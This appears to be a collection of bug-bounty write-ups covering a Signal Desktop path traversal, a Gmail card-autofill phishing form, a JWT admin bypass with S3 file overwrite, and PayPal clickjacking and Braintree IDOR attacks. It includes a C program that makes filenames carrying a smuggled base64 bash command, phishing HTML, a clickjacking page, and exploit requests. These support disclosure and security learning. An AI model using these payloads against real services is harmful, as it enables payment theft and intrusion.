I found a path-traversal bug in Signal Desktop’s attachment save feature. The app uses the attachment’s fileName from the message without cleaning or checking it. Because of this, an attacker can craft a filename that points outside the user’s chosen folder (for example, to the Windows Startup folder). When the user saves the attachment, Signal may write the file to that outside location. This lets an attacker drop files where the system or user will run them later, which can lead to remote code execution.

Whenever you test chat apps, the first thing to check is file handling.

When I saw Dzmitry Lukyanenko’s write-up about Remote Code Execution in Facebook Messenger for Windows, I started testing other desktop apps to see what I could find.

To my surprise, many desktop apps were vulnerable.

I spent most of my time on WhatsApp for Windows. I learned that when you install an app from the Microsoft Store, it runs inside Windows AppContainers.

What is AppContainer isolation?

Isolation is the main goal of an AppContainer environment. By separating an app from unneeded resources and other apps, we reduce the chance of malicious actions. Giving only least-privilege access prevents apps and users from reaching resources they should not use. Controlling access to resources helps protect the process, the device, and the network.

Read more: https://learn.microsoft.com/en-us/windows/win32/secauthz/appcontainer-isolation

I wanted to find a 0-day in AppContainer isolation so I could exploit a path traversal in WhatsApp.

Yes — I found a path traversal in WhatsApp for Windows!

But it was not exploitable. :(

I wrote a small C program to create filenames that look malicious using syscall() :

#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

int main() {
    const char *filename = "poc.txt`{echo,ZWNobyAieW91IGhhdmUgcHduZWQgWytdISAi}|{base64,-d}|bash`";
    int fd;

    printf("[*] Target filename: %s\n", filename);

    // Call syscall directly
    printf("[*] Calling syscall(SYS_openat)...\n");
    fd = syscall(SYS_openat, AT_FDCWD, filename,
                 O_CREAT | O_WRONLY, 0644);

    if (fd < 0) {
        printf("[!] Failed to create file: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] File created successfully! fd=%d\n", fd);

    const char *data = "h4x0r_dz\n";
    ssize_t written = write(fd, data, strlen(data));
    if (written < 0) {
        printf("[!] Failed to write to file: %s\n", strerror(errno));
        close(fd);
        return 1;
    }

    printf("[+] Wrote %zd bytes to file.\n", written);

    if (close(fd) < 0) {
        printf("[!] Failed to close file: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] File closed successfully.\n");
    printf("[*] Done.\n");

    return 0;
}

https://github.com/h4x0r-dz/createfiles

Useful to test how the system handles file names; sometimes you can even find command injection

I used this widely in common attacks, like the recent WinRAR 0-day

As a web pentester, you can use this attack like the blind xss, you inject a malicious command like nslookup myhost.com in the file name and wait for the execution.

an real-world example : Palo Alto PAN‑OS GlobalProtect: CVE‑2024‑3400 — arbitrary file creation → command injection/RCE

Here is the report that has been sent to the signal security team (I re-wrote it via AI xD ):

Signal Desktop — Path Traversal in Attachment Saving

Executive summary

I found a path-traversal bug in Signal Desktop’s attachment save flow.
An attacker can control the attachment filename so that when a user saves the file, Signal writes it outside the chosen folder — for example into Windows startup folders. That lets an attacker drop files that might run automatically on the next login, which can lead to remote code execution.

Root cause

The app trusts attachment.fileName too much. The filename from the message is used directly when choosing the name and building the path. There is no normalization or check to make sure the final path stays inside the user’s save folder.

Where it happens (quick flow)

1) Unsafe filename selection — ts/types/Attachment.js

getSuggestedFilename() Returns the file name straight from attachment.fileName:

const getSuggestedFilename = (attachment, timestamp, index, scenario = 'saving-locally') => {
  const { fileName } = attachment;
  if (fileName) {
    return fileName;  // returns untrusted input directly
  }
  // fallback logic...
};

Problem: No sanitization. A filename can contain ../, ..\\, or be an absolute path.

2) Unsafe path construction — ts/windows/main/attachments.js

The code joins baseDir and name without checking the result:

filePath = path.join(baseDir, name);  // no check that filePath stays inside baseDir
await writeWithAttributes(filePath, data);

Problem: If name is attacker-controlled, path.join can produce a path outside baseDir.

3) Filesystem checks on untrusted names

getUnusedFilename() checks existence with path.join(baseDir, filename):

if (baseDir === null || !fs.existsSync(path.join(baseDir, filename))) {
  return filename;
}
...
if (!fs.existsSync(path.join(baseDir, nextFilename))) {
  return nextFilename;
}

Problem: These checks use paths built from untrusted input and can end up checking or revealing files outside the intended folder.

4) Weak dangerous-file filter

isFileDangerous() only checks the extension:

return DANGEROUS_FILE_TYPES.test(fileName);  // extension-only check

Problem: The filter ignores the path. An attacker can use a harmless extension while pointing to a dangerous location.

Example attack — Windows startup persistence

Attacker filename example:

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pwn.txt

Attack steps:

1. The attacker sends an attachment with that fileName.
2. The victim clicks “Save” in Signal Desktop.
3. Signal builds path.join(baseDir, name) and writes the file without checking that the final path is inside baseDir.
4. The file ends up in the Startup folder and may be picked up on next login, enabling code execution.

Impact

• An attacker can place files anywhere the process can write.
• This can be used to persist code, drop scripts, or otherwise escalate from a message to code execution if the dropped file is picked up by the system.

Why is it exploitable in Signal and not in WhatsApp?

Signal does not work in AppContainer isolation like WhatsApp!

The signal security team has patched the vulnerability very quickly after receiving the report.

And they acknowledged my finding.

Best .

h4x0r_dz

If an attacker tries to capture a user’s password by embedding an HTML form in an email, like the one below:

<form action="https://httpbin.org/post" method="POST">
    <input type="email" name="email" placeholder="Email or phone" required>
    <input type="password" name="password" placeholder="Password" required>
    <input type="submit" value="Next">
</form>

The email recipient will see the form rendered within the email. However, Gmail displays a warning message, “Be careful with this message,” and disables autofill, making it less likely for a user to inadvertently submit their credentials.

Exploiting the Issue with Credit Card Autofill

Gmail does not apply the same strict measures to forms requesting credit card details. If an attacker sends an email with a form designed to collect credit card information, the autofill feature remains enabled by default. Google seems to treat credit card details as less sensitive than passwords, which presents a significant security risk.

Here’s how to reproduce the issue:

1. In Google Chrome, navigate to `chrome://settings/payments`.
   2. Under Payment methods, add a fake credit card.

3. As an attacker, send the following HTML form:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Credit Card Payment</title>
</head>
<body>
    <div class="payment-container">
        <h2>Credit Card Payment</h2>
        <form action="https://httpbin.org/post" method="POST">
            <label for="cardholder-name">Cardholder Name</label>
            <input type="text" id="cardholder-name" name="cardholder_name" placeholder="John Doe" required>
            
            <label for="card-number">Card Number</label>
            <input type="number" id="card-number" name="card_number" placeholder="1234 5678 9012 3456" required>
            
            <label for="expiry-date">Expiration Date</label>
            <input type="text" id="expiry-date" name="expiry_date" placeholder="MM/YY" required>
            
            <label for="cvv">CVV</label>
            <input type="number" id="cvv" name="cvv" placeholder="123" required>
            
            <input type="submit" value="Pay Now">
        </form>
    </div>
</body>
</html>

4. When the victim opens the email, they will see the form, and autofill will be allowed, leading to the unintended disclosure of their credit card information.

Google’s Response

Google has stated that this is not considered a security issue.

this writeup will be a short one forry about that xD, during My hunting on big companies such as Facebook, google, amazon …etc, and In the subdomain enumeration step, I found that I get so many same subdomains.

for example :

https://test.facebook.com 
https://test02.facebook.com
https://test03.facebook.com

these subdomains have the same web application, and it is a long journey to visit and check all these subdomains one by one, (and it worth nothing ).

so instead we can use a trick to filter similar subdomains. and print only unique one , this can be done using httpx and awk built-in tool

I’m going to use twitter.com as an example :

subdomain enumeration

the first step as expected is to extract the subdomains, we are going to enumerate all the subdomains and save them in a Text file.

you can use your favorite for subdomain enumeration, and save the result in text file :

httpx to enumerate live subdomains

now we are going to use httpx tool with these options :

now we are going to use httpx tool with these options :

httpx -l subdomains.txt -sc -title -cl -wc -td | tee httpx2.txt

-l subdomains.txt: This flag specifies the input source for subdomains.
-sc: This flag likely stands for “status code.”
-title: This flag instructs the tool to extract and display the titles
-cl: This flag stands for “content length.”
-wc: This flag stands for “word count.”
-td: display technology in use based on wappalyzer dataset
| tee httpx2.txt: This part of the command is using the tee command, which is used to capture the standard output (stdout) of the preceding command and write it to a file. In this case, the output of the httpx command is being captured and written to a file named httpx2.txt.

as you can see, there are so many subdomains has the same HTTP status code & Title & content length.

awk to filter the duplicate subdomains

now after getting the (maybe the same web application on different subdomains ) on our text list , we need to filter theme and print only the unique ones and doing our pen-testing on them . to do this we need to use a tool called awk

to do this we need to use a tool called awk

we need to filter the list of subdomains based on status code & content length ….

full command

└─# cat httpx2.txt | awk -F"[" '!seen[$2, $3, $4, $5]++'

• F’[‘: This flag sets the field separator for awk as an opening square bracket [. This means that awk will split input lines into fields based on the specified separator.

-F’[‘: This flag sets the field separator for awk as an opening square bracket [. This means that awk will split input lines into fields based on the specified separator.

‘!seen[$2, $3, $4, $5]++’: This is the awk script that defines the processing to be applied to each input line.

this method is not working properly, but it still works fine on the large scope for me xD.

Hello Awesome Hackers, I hope you all doing well!

My name is Souhaib Naceri Or h4x0r_dz Algerian Ethical Hacker.

today I’m sharing a vulnerability that I found a while ago, which I believe is quite interesting.

but I’m not going to share the bug bounty program name & domain name ..etc, because I didn’t get permission to disclose it.

so let’s assume the target is test.com

when I started hunting on the program, I found the admin panel UI bypass

the target uses JSON Web Token (JWT) for the authentication mechanism, and I have put A bit of time into order to understand, trying to find bugs on the bug bounty targets that use JSON Web Token (JWT) .

when you log in to the main website test.comA JSON Web Token (JWT) will be generated for the regular user,

now After I know how the target work, I started doing recon. reading javascript files, running Burp Suite, and clicking on any bottom in the website & also I used Wayback Machine to get all the possible endpoints, and finally subdomain enumeration.

I found The interesting subdomain admin.test.com and now we have come to the interesting part, the admin panel exposes the js file app.js and after I read the whole file 200000 lines of code, I found it uses the JSON Web Token (JWT) for authentication, and I found a list of realm.

but the interesting realm was test-dashboard

what is realm?

The “realm” authentication parameter is reserved for use by
authentication schemes that wish to indicate a scope of protection.
A protection space is defined by the canonical root URI (the scheme
and authority components of the effective request URI;

more info here: https://www.rfc-editor.org/rfc/rfc7235#section-2.2

I used https://jwt.io/ to decode the user Token, and there is a realm=test-user

now I know if I am able to manipulate the realm to test-dashboard I will be able to login to the admin panel, just a feeling.

the test-dashboard is the website name instead of the test, it was like : target-dashboard

### steps :

1. go to https://test.com/
2. make internet on
3. login to your account and change the realm to test-dashboard in the post request : https://test.com.com/api/v1/login

HTTP request

POST /api/v1/login HTTP/1.1
Host: accounts.test.com
Connection: close
Content-Length: 79
Accept: */*
Content-Type: application/json

{“email”:”youremail@gmail.com”,”password”:”<password>”,”realm”:”test-dashboard”}

if you decode the jwt you can see the realm has been changed.

now using the manipulated JWT token I’m able to login to the admin panel.

I reported this bug immediately, but this was the expected response from the bug bounty program :

We discussed this with the devs and they said that the admin dashboard you’ve got access to is just a react application that gets rendered client-side (the kind of pages that only need public info to be rendered) and not much else since the actual API is a separate application with endpoints that require a valid auth token with specific scopes. So, unless you can craft a token that will let you interact with the API, we will be lowering the severity of the issue.

test-staff updated the severity from Critical to Medium

I almost gave up, but I decided to continue digging deeper.

I agree with the Team, to consider the bug critical I need to miniplate the scope in the JSON Web Token (JWT) .

but this is impossible, I need to find 0day and JWT mechanism and any website uses JSON Web Token (JWT) will be vulnerable.

But I’m crazy enough because I start looking for something similar .

since I can control the realm and generate valid JWT, I tried every payload to manipulate the scope, but nothing worked for me and didn’t able to do the escape that I want .

I started doing content discovery using ffuf against admin.test.com but Unfortunately, I didn’t find any valid endpoint,

by default ffuf uses the GET HTTP Method, so I Gave a try to the POST Method. and I found this endpoint https://admin.test.com/upload return 403, it is quite interesting because I found this endpoint in the app.js file.

now, what if I am able to upload a web shell? I got excited

after I spend hours reading the javascript file, I was able to build the file upload request:

POST /upload HTTP/1.1
Host: admin.test.com
Connection: close
Content-Length: 300
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx
Authorization: Bearer <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36

------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="destination"

gallery/
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: Text/plain

h4x0r-dz POC 
------WebKitFormBoundarypxxxxxx--

but I got a 401 HTTP error :( . Even after I manipulate the realm In JWT

Authentication Bypass

do you know what is Fuzzing ?

if your answer is NO then you miss so many bugs behind you !

Fuzz testing or Fuzzing is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.

more information: Fuzzing — OWASP Foundation

I start Fuzzing the Authorization: Bearer <JWT>

and finally, I saw 200 responses :) .

steps

1. go to test.com
2. login to your account .
3. grep the Authorization header

the issue here is when you delete Bearer from the Authorization header You will be able to authenticate in https://admin.test.com. and you will be able to have the admin permission

send this request to upload the file

POST /upload HTTP/1.1
Host: admin.test.com
Connection: close
Content-Length: 300
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36

------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="destination"

gallery/
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: Text/plain

h4x0r-dz POC 
------WebKitFormBoundarypxxxxxx--

I go 200 responses with massage uploaded

now where I can find the path of my file ??

At first, I thought it is the end, there is no way to know where my file was stored.

I tried the content discovery using ffuf against all the subdomains trying to find something like admin.test.com/uploads/poc.txt

but I didn’t find anything, I start looking into my burp history and reading the response, and I found this href=https://xxxxxxxx.cloudfront.net/gallery/xxxxxxxxx

hmmm, the gallery is the same value at my file upload request at destination input.

I browsed https://XXXXXXXXX.cloudfront.net/gallery/poc.txt

and I found my file is there

but what is CloudFront ?

Amazon CloudFront is a content delivery network operated by Amazon Web Services. Content delivery networks provide a globally-distributed network of proxy servers that cache content, such as web videos or other bulky media, more locally to consumers, thus improving access speed for downloading the content.

so I can’t upload web shell :( .

even if I report this file upload now, The severity will be very low. again I need to dig deep.

Arbitrary File Overwrite

by default Amazon S3 is vulnerable to Misconfiguration Arbitrary File Overwrite if you upload file.txt Amazon S3.

now I have Arbitrary File Overwrite, Now I can do so many things I found that xxxxxxxx.cloudfront.net was used in the main website to host javascript and HTML and other files

so many files are hosted in xxxxxxxx.cloudfront.net , and as an attacker, I can change the content of the files and managed to get stored XSS and other security issues in the main domain, because they used xxxxxxxx.cloudfront.net to host windows software and pdfs, where the user can download, it is a part of the main website,

so I can change the content of these files and gain RCE on the user’s computers by putting malicious codes in the existing EXE or pdf files CSS …etc

steps

the attacker can change other files’ content. the destination parameter in the request body Specify the file path, so I can change any file

first POC file :

We could not verify the vulnerability from the browser due to the cache, so you can CURL

now after I changed the content of the file poc.txt via this requset :

POST /upload HTTP/1.1
Host: admin.test.com
Connection: close
Content-Length: 300
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36

------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="destination"

gallery/
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: Text/plain

Arbitrary File Overwrite 
------WebKitFormBoundarypxxxxxx--

as you can see in my terminal, I was able to over write the existing file.

team response

I got 20k for this vulnerability

also, I got $3,000 for UI admin panel access, 23000$ in total

I hope you learned something new Today, and I’m Really sorry If my write-up was not clear, or if I’m talking too much.

Best regards,

h4x0r_dz

summary

7 months ago I reported a security issue to PayPal bug bounty program where the attacker can steal users' money by exploiting Clickjacking,

Clickjacking, also known as a “UI redress attack”, is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page. Thus, the attacker is “hijacking” clicks meant for their page and routing them to another page, most likely owned by another application, domain, or both. reference: https://owasp.org/www-community/attacks/Clickjacking

I found that an attacker can steal money from Paypal accounts. an old issue: Clickjacking on https://www.paypal.com/agreements/approve closed as N/A years ago, and no one was able to successfully exploit it, (I guess ).

this endpoint is designed for Billing Agreements and it should accept only billingAgreementToken. but during my deep testing, I found that we can pass another tokens type, and this leads to stealing money from victim's PayPal account.

as you can see in the picture, the attacker is able to load a sensitive paypal.com endpoint in an Iframe, and when the attacker clicks on “near to click here” He will buy something.

of course, the victim should be logged in in te the browser

Proof 0f C0ncept

"https://www.paypal.com/cgi-bin/webscr?address1=sectesting&address2=sectesting02&address_override=true&amount_1=1&business=<attacker@gmail.com>&cancel_return=https://xxxxxx.burpcollaborator.net/cancel_return&city=barika&cmd=_cart&country=DZ&currency_code=USD&email=<anything>@gmail.com&first_name=attacker&invoice=marketplace133703&item_name_1=attacker&item_number_1=133788802&last_name=attacker&notify_url=https://xxxxxx.burpcollaborator.net/notify_url&quantity_1=1&return=https://xxxxxx.burpcollaborator.net/return&state=05&upload=1&zip=1337"

1. In the link above change the business to attacker Paypal email, and return & notify_url to your host to receive the HTTP requests. and amount_1 how much money you want to steal from the victim's account !!.

and You can change the first/last name, and the address to your own info, and when you do this, this Billing full name/address will register in the victim account !.

2 . now send GET request using CURL, and grep the token value.

3. upload this poc.html On your host and put your token In the parameter ba_token.

<!DOCTYPE html>
<html>
<head>
    <title>POC</title>
</head>
<body>
   <center> <img src="https://i.ibb.co/bWqXsQT/Mnanauk-2020-Chef-Mnanauk.jpg"></center> 
<style>
iframe { 
  width: 1920px;
  height: 1080px;
  position: absolute;
  top:0; left:-20px;
  opacity: 1.01; 
  z-index: 1;
}
</style>
<iframe src="https://www.paypal.com/agreements/approve?nolegacy=1&ba_token=<TOKEN>"></iframe>
<button style="position: fixed; display: inline; z-index: 10; left: 701px; top: 520px;">Click here  to win 1337$ => </button>

</body>
</html>

Note : the opacity should be 0 in a real attack, you can change it.

Now Login to your PayPal in the browser, and open the HTML page.

as you Can see, I’m not the best designer, actually, I know nothing about CSS , but this POC is enough I think !.

you should click where you should click hahaha, and you will send money to the attacker PayPal. also, the attacker address will be injected as the default billing.

here In Burp Collaborator we can see full information for the victim's account when he clicks on the vulnerable page :

Also, another security issue, is the attacker injected billing address will be the default one on the victim's PayPal account :

steal money from user account part 2

there are online services that let you add balance using Paypal to your account for example steam! . I can use the same exploit and force the user to add money to my account!

or I can exploit this bug and let the victim create/pay Netflix account for me !.

but I used namecheap.com for this example

steps

1- open https://ap.www.namecheap.com/Profile/Billing

2- click Topup

3- chose how much you want to steal $ from the victim account !

4- click check out with PayPal

5- now copy the token and add it to the poc.html

6- open the HTML page.

7- now when the victim clicks on “click here” he will pay using his payment method that is linked to his Paypal account.

Now you have given permission to Namecheap to take a certain balance on your Paypal account, which will go to the attacker’s account on Namecheap

8- as an attacker opens https://ap.www.namecheap.com/profile/billing/topup/paypal/submit?&token=<token> and you will be able to add the money to your Namecheap account.

video POC :

200k$ bounty rewarded!

sorry for the Clickbait, but this is was HackerOne triage response :

update: 17/06/2022

PayPal Bug Bounty Team decided to accept the report & fix this issue and awarded me 3200$ :

Summary:

Hello everyone, in this article I will show you an Insecure direct object references (IDOR) that I found on PayPal 7 months Ago where an attacker can expose PayPal users data: billing address,email, nonce code using billing Agreement Token.

A critical security issue in api.braintreegateway.com where I was able to create a PayPal transaction just by knowing billing Agreement Token of the users. the issue is That, this endpoint api.braintreegateway.com/merchants/<ID>/client_api/v1/payment_methods/paypal_accounts should be authenticated by the merchant. but the user can send post requests to this endpoint. and generate Payment Method Nonces.

I was reading the documents about Payment Method Nonces,

A payment method nonce is a secure, one-time-use reference to payment information. It’s the key element that allows your server to communicate sensitive payment information to Braintree without ever touching the raw data.

source: https://developer.paypal.com/braintree/docs/guides/payment-method-nonces

and I understand that, if I am able to get valid billing Agreement Token of another user I can generate a new Nonces code > make Payment!

proof of concept

I Reproduced this bug In a real merchant that uses Braintree which is grammarly.com. also,

1. go to https://www.grammarly.com/upgrade and log in with your account
2. Choose Your Plan, and select Paypal as the payment method, now make an intercept on
3. click on Paypal checkout, then accept the payment.
4. when you come to this request, drop it, to cancel the payment (And this way you won’t have to pay anything to Grammarly :’.

POST /api/v1/subscribe HTTP/1.1
Host: subscription.grammarly.com
Connection: close
Content-Length: 135
Cookie: <>

nonce=<nonce>&planId=1005&sessionId=<sessionId>&isTaxable=false&billingCountryCode=US

you can see Grammarly is use Payment Method Nonces and this Nonce can be generated in the unauthenticated endpoint.
back to burp history, and find this endpoint:

https://api.braintreegateway.com/merchants/68r2vzdxyjwst8d7/client_api/v1/payment_methods/paypal_accounts

send it to the repeater.

now to confirm the bug: open the victim Paypal account, repeat the same steps, and copy the billingAgreementTokenfrom victim account.

now change the billingAgreementToken in api.braintreegateway.com/merchants/68r2vzdxyjwst8d7/client_api/v1/payment_methods/paypal_accounts to the victim token.

note: 68r2vzdxyjwst8d7 is Grammarly public client ID .

in the response, you will find that you are able to generate Nonces codes using billing Agreement Token for the victim. and no specific authentication is needed.

how an attacker can get the billingAgreementToken for other users?

now If you ask, how an attacker can get valid billingAgreementToken ! well there are tons of ways :

## 1. Wayback Machine

you can use these tools :

• GitHub - tomnomnom/waybackurls: Fetch all the URLs that the Wayback Machine knows about for a domain
• GitHub - lc/gau: Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl.

https://web.archive.org/web/*/paypal.com/*

gau tool resultes : commend : gau paypal.com | grep "ba_token"

and as you can see there are more soo many leaked billingAgreementToken in wayback machine. and this is because the billingAgreementToken is a public token :).

The next step for the attacker is to find the valid merchants that can accept one of these billingAgreementToken for example if one of these tokens is used in Grammarly, the attacker send the post request: https://api.braintreegateway.com/merchants/68r2vzdxyjwst8d7/client_api/v1/payment_methods/paypal_accounts

and in the response he will receive the user Paypal information, although the attacker needs to find the right merchants id and test all the tokens.

and this step is possible 100% , how many companies use Braintree Gateway? 1000 or 99999? The number is very limited :) .

2. google dork.

and because the billingAgreementToken is passed in GET request, you can find some of them on google using this dork , There isn't much :( .

3. laked in 3rd party

also I found that the billingAgreementToken is leaked to Third-party for example Google Analytics

the Impact

missing authentication In sansative endpint , an attacker can expose payapl user data : billing Address,email,nonce code using billing Agreement Token.

also this endpoint api.braintreegateway.com/merchants/<ID>/client_api/v1/payment_methods/paypal_accounts used to generate a valid Nonce code, and this code can be used to make a payment to the merchant.

an attacker can make payments from Paypal victim's accounts.

HackerOne triage response :

for me , I Think this endpoint

https://api.braintreegateway.com/merchants/<ID>/client_api/v1/payment_methods/paypal_accounts

must be authenticated, the only ones who should have access to this endpoint should be the merchants using his API keys because there are so many authentication endpoints on api.braintreegateway.com and this one should be the same.